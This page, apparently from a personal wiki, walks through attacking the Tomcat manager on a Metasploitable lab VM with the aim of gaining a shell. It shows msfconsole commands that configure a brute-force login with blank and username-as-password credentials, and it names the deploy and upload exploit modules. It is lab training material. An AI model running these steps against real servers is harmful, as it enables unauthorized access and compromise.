Metasploitable/Apache/Tomcat and Coyote

From charlesreid1

Tomcat Service

We will attempt to abuse the Tomcat server in order to obtain access to the web server. The end goal is to obtain a shell on the web server.

Just a reminder of what the nmap scan returned about Apache Tomcat and Coyote: 

10.0.0.27  8180  tcp    http         open   Apache Tomcat/Coyote JSP engine 1.1

JSP stands for JavaServer Pages. All this means is, web pages accessed through port 8180 will be assembled by a Java web application.

What is tomcat

Apache Tomcat provides software to run Java applets in the browser. The nmap scan didn't return the version, so that's probably the first thing we'll want to figure out.

What is coyote

Coyote is a stand-alone web server that provides servlets to Tomcat applets. That is, it functions like the Apache web server, but for JavaServer Pages (JSP).

From the description of Coyote on the Tomcat page [1], it sounds like this server will be as susceptible to denial of service attacks as the Apache web server was.

We will focus on three modules: 

auxiliary/scanner/http/tomcat_mgr_login
exploit/multi/http/tomcat_mgr_deploy
exploit/multi/http/tomcat_mgr_upload

tomcat mgr login

This module is, obviously, for logging into Tomcat.

Here is info on this module from the Rapid7 website: https://www.rapid7.com/db/modules/auxiliary/scanner/http/tomcat_mgr_login

Printing out the various options, it looks like a brute force method:

We'll definitely want to try blank passwords. Let's set some options: 

msf auxiliary(tomcat_mgr_login) > workspace metasploitable
[*] Workspace: metasploitable
msf auxiliary(tomcat_mgr_login) > set BLANK_PASSWORDS true
BLANK_PASSWORDS => true
msf auxiliary(tomcat_mgr_login) > set RHOSTS 10.0.0.27
RHOSTS => 10.0.0.27
msf auxiliary(tomcat_mgr_login) > set USER_AS_PASS true
USER_AS_PASS => true
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
RPORT => 8180

Now fire it up: 

msf auxiliary(tomcat_mgr_login) > run

msf auxiliary(tomcat_mgr_login) > run

Payload information:

Description:
  This module can be used to execute a payload on Apache Tomcat
  servers that have an exposed "manager" application. The payload is
  uploaded as a WAR archive containing a jsp application using a PUT
  request. The manager application can also be abused using
  /manager/html/upload, but that method is not implemented in this
  module. NOTE: The compatible payload sets vary based on the selected
  target. For example, you must select the Windows target to use
  native Windows payloads.
